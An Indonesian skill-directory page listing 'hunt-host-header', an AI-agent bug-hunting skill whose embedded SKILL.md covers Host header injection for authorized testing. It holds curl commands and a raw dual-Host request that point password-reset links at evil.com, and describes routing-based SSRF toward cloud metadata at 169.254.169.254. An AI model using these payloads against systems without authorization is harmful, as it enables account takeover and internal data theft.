Langsung ke konten
Skillpedia
Keamanan5.4k Β· #14912

hunt-host-header

Fungsinya

Skill ini memeriksa bagaimana situs memakai header Host dan header serupa dalam tautan, perutean, dan cache. Ditujukan untuk pengujian keamanan resmi pada email reset kata sandi dan cache web.

Kapan dipakai

  • βœ“Saat email reset kata sandi mungkin berisi tautan yang dibangun dari header Host.
  • βœ“Saat cache mungkin menyimpan respons berdasarkan header yang tidak menjadi kunci cache.
  • βœ“Saat sebuah situs memiliki perutean yang bisa dikendalikan oleh header Host.

Link skill

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-host-header/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-host-header/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah Anda memeriksa apakah email reset kata sandi kami memakai header Host untuk membuat tautan dalam uji resmi kami?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mengirim permintaan dengan header Host yang diubah, lalu memeriksa di mana nilainya muncul, misalnya di email atau respons cache. Agent mengonfirmasi dampaknya dengan pemeriksaan out-of-band.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

HUNT-HOST-HEADER β€” Host Header Injection

Grounding / Provenance

This skill is built from the public Host-header attack literature, not invented payloads. Cite the technique source in your report, never a fabricated ID:

  • Password-reset poisoning class β€” the canonical write-up is Skelet's/Detectify-era "Practical HTTP Host header attacks" (the Django request.get_host() β†’ password-reset-link case). Many frameworks built the reset URL from the request Host with no ALLOWED_HOSTS-style allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
  • Web cache poisoning via unkeyed Host / X-Forwarded-Host β€” PortSwigger Research, James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020). These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
  • Routing-based SSRF β€” PortSwigger Research, "Cracking the lens" / routing-based SSRF (Host header steers the front-end's upstream selection).

When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT on a fresh key, OOB hit from your Collaborator). Do not copy a CVE or H1 ID you have not verified β€” a missing citation is always better than a wrong one.


Crown Jewel Targets

Host header injection that reaches password reset links = Critical (ATO for any user).

Highest-value chains:

  • Password reset poisoning β†’ ATO β€” server builds the reset link from the request Host; attacker sets Host: evil.com; the victim's reset email points the token at the attacker β†’ token captured on click β†’ full ATO. Pre-account-takeover variant: even the victim requesting their own reset leaks the token to evil.com.
  • Web cache poisoning via unkeyed Host β€” a CDN/reverse proxy caches a response that reflects an attacker X-Forwarded-Host into an absolute URL (script src, link, redirect) β†’ poisoned entry served to every later visitor on that cache key β†’ mass XSS/redirect/CSP bypass.
  • Routing-based SSRF β€” the front-end uses the Host header itself to pick the upstream; Host: 169.254.169.254 (or an internal hostname) makes it forward your request to that target β†’ cloud metadata / internal admin panels.
  • Path-override SSRF / ACL bypass β€” IIS/ASP.NET/Spring honour X-Original-URL / X-Rewrite-URL to override the routed path β†’ reach /admin or internal endpoints the edge ACL thought it blocked. (Different layer from routing SSRF β€” see Phase 3.)
  • OAuth/OIDC poisoning β€” Host drives redirect_uri or the OIDC issuer / discovery doc β†’ auth-code or token theft β†’ ATO.

Attack Surface Signals

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

Dangerous header candidates (unkeyed / trusted inputs):

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)

Step-by-Step Hunting Methodology

Always test against your own registered test account. Never request another user's reset.

Phase 1 β€” Password Reset Poisoning

# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"your-test-account@target.com"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
  | openssl 
Pertanyaan umum

Apa itu password reset poisoning?

Itu terjadi ketika penyerang mengubah host dalam tautan reset, sehingga token dikirim ke server yang ia kendalikan.

Bagaimana cara mengonfirmasinya?

Skill ini memakai callback out-of-band atau email yang sebenarnya, bukan hanya header yang dipantulkan.

Header apa saja yang disertakan?

Skill ini mencakup Host, X-Forwarded-Host, X-Host, dan header serupa lainnya.

Detail

Deskripsi asli dari pembuat

Hunt Host Header Injection β€” password reset poisoning β†’ ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream β†’ cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer poisoning, and absolute-URL link poisoning in emails. High to Critical when it reaches ATO or mass cache poisoning. Built on public Host-header research (PortSwigger 'Practical web cache poisoning' + James Kettle, and the classic password-reset-poisoning class). Use on any forgot-password flow, CDN/reverse-proxy-front

repo: elementalsouls/Claude-BugHunter

Popularitas

Bintang GitHub
5.4k
Peringkat
#14912
Lisensi
MIT
Diperbarui
2/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa